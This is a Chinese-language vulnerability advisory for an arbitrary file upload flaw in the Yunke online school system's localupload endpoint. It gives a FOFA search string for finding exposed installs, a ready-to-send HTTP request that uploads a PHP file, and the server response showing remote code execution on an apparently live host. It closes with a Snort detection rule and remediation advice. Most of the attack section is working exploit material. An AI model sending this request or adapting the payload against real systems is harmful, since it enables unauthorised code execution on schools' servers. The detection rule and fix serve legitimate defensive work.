

云课网校系统 localupload 存在任意文件上传漏洞

云课网校系统 localupload 存在任意文件上传漏洞，从而导上传任意文件进行rce操作。

影响版本

云课网校系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/static/libs/common/jquery.stickyNavbar.min.js"

POC/EXP：

```
POST /api/uploader/localupload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: */*
Connection: close

-----WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/gif

<?php phpinfo();unlink(__FILE__);?>
-----WebKitFormBoundaryFfJZ4PlAZBixjELj--
```

Request

< > 数据包扫描 美化 热加载 构造请求

https 131bytes / 56ms 美化 编码 请输入定位响应

1 POST /api/uploader/localupload HTTP/1.1

2 Host :

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36

4 Accept-Encoding: gzip, deflate

5 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFf7Z4P1AZB1xjELj

6 Accept: */*

7 Connection: close

8

9 -----WebKitFormBoundaryFf7Z4P1AZB1xjELj

10 Content-Disposition: form-data; name="file"; filename="rce.php"

11 Content-Type: image/gif

12

13 <?php phpinfo();unlink(\$_FILE__);?>

14 -----WebKitFormBoundaryFf7Z4P1AZB1xjELj--

1 HTTP/1.1 200 OK

2 Server: nginx

3 Date: Fri, 06 Jun 2025 03:15:45 GMT

4 Content-Type: application/json; charset=utf-8

5 Connection: close

6 Vary: Accept-Encoding

7 Access-Control-Allow-Origin: *

8 Access-Control-Allow-Methods: POST

9 Access-Control-Allow-Headers: x-requested-with, content-type

10 Set-Cookie: PHPSESSID=a8rqhkujm9hfv88nosr2k2c0ht; expires=Fri, 06-Jun-26 GMT; Max-Age=36000; path=/; HttpOnly

11 Expires: Mon, 26 Jul 1997 05:00:00 GMT

12 Last-Modified: Fri, 06 Jun 2025 03:15:45 GMT

13 Cache-Control: no-store, no-cache, must-revalidate

14 Cache-Control: post-check=0, pre-check=0

15 Pragma: no-cache

16 Strict-Transport-Security: max-age=31536000

17 Content-Length: 141

18

19 {

20 "success": true,

21 "oldName": "rce.php",

22 "filePath": "/www/wwwroot/rmuyun_cn/public/upload/video/0/rce.php",

23 "fileSuffixes": ".php"

24 }

25

→ ↻ 不安全 https://. /z/upload/video/0/rce.php

PHP Version 7.2.33

System	Linux iv-m8cva4f3xz43 5.14.0-529.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 14 14:05:05 UTC 2024 x86_64
Build Date	Jun 6 2024 15:16:05
Configure Command	./configure '--prefix=/www/server/php/72' '--with-config-file-path=/www/server/php/72/etc' '--with-fpm-user=www' '--with-fpm-group=www' '--enable-mysqlnd' '--with-mysqli=mysqlnd' '--with-pdo-mysql=mysqlnd' '--with-iconv-dir=/usr/local/lib' '--with-freetype-dir=/usr/local/freetype' '--with-jpeg-dir=/usr/local/lib' '--with-zlib' '--with-libxml-dir=/usr' '--enable-xml' '--disable-rpath' '--enable-bcmath' '--enable-sysvsem' '--enable-inline-optimization' '--with-curl=/usr/local/curl' '--enable-mbstring' '--enable-intl' '--enable-ftp' '--with-gd' '--enable-gd-native-ttf' '--with-openssl=/usr/local/openssl' '--with-mhash' '--enable-pcntl' '--enable-sockets' '--with-xmlrpc' '--enable-zip' '--enable-soa' '--disable-fileinfo' '--enable-opcache' '--with-webp-dir=/usr' '--with-mcrypt'
Server API	FPM/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/www/server/php/72/etc
Loaded Configuration File	/www/server/php/72/etc/php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20170718
PHP Extension	20170718
Zend Extension	320170718
Zend Extension Build	API320170718,NTS
PHP Extension Build	API20170718,NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	enabled

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Yunke School system - Arbitrary File Upload in localupload";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/api/uploader/localupload"; http_uri;
  content:"Content-Type: multipart/form-data"; http_client_header;
  pcre:"/(filename|name)=\x22[\^\\x22]*\.(php|jsp|asp|aspx)\x22/i";
  content:"<?php";
  metadata:service http;
  metadata:affected_product "云课网校系统";
  metadata:attack_type "Unrestricted File Upload";
  metadata:severity "critical";
  reference:url,www.example.com/vulndb/yunke-file-upload;
  classtype:web-application-attack;
  sid:1000099;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。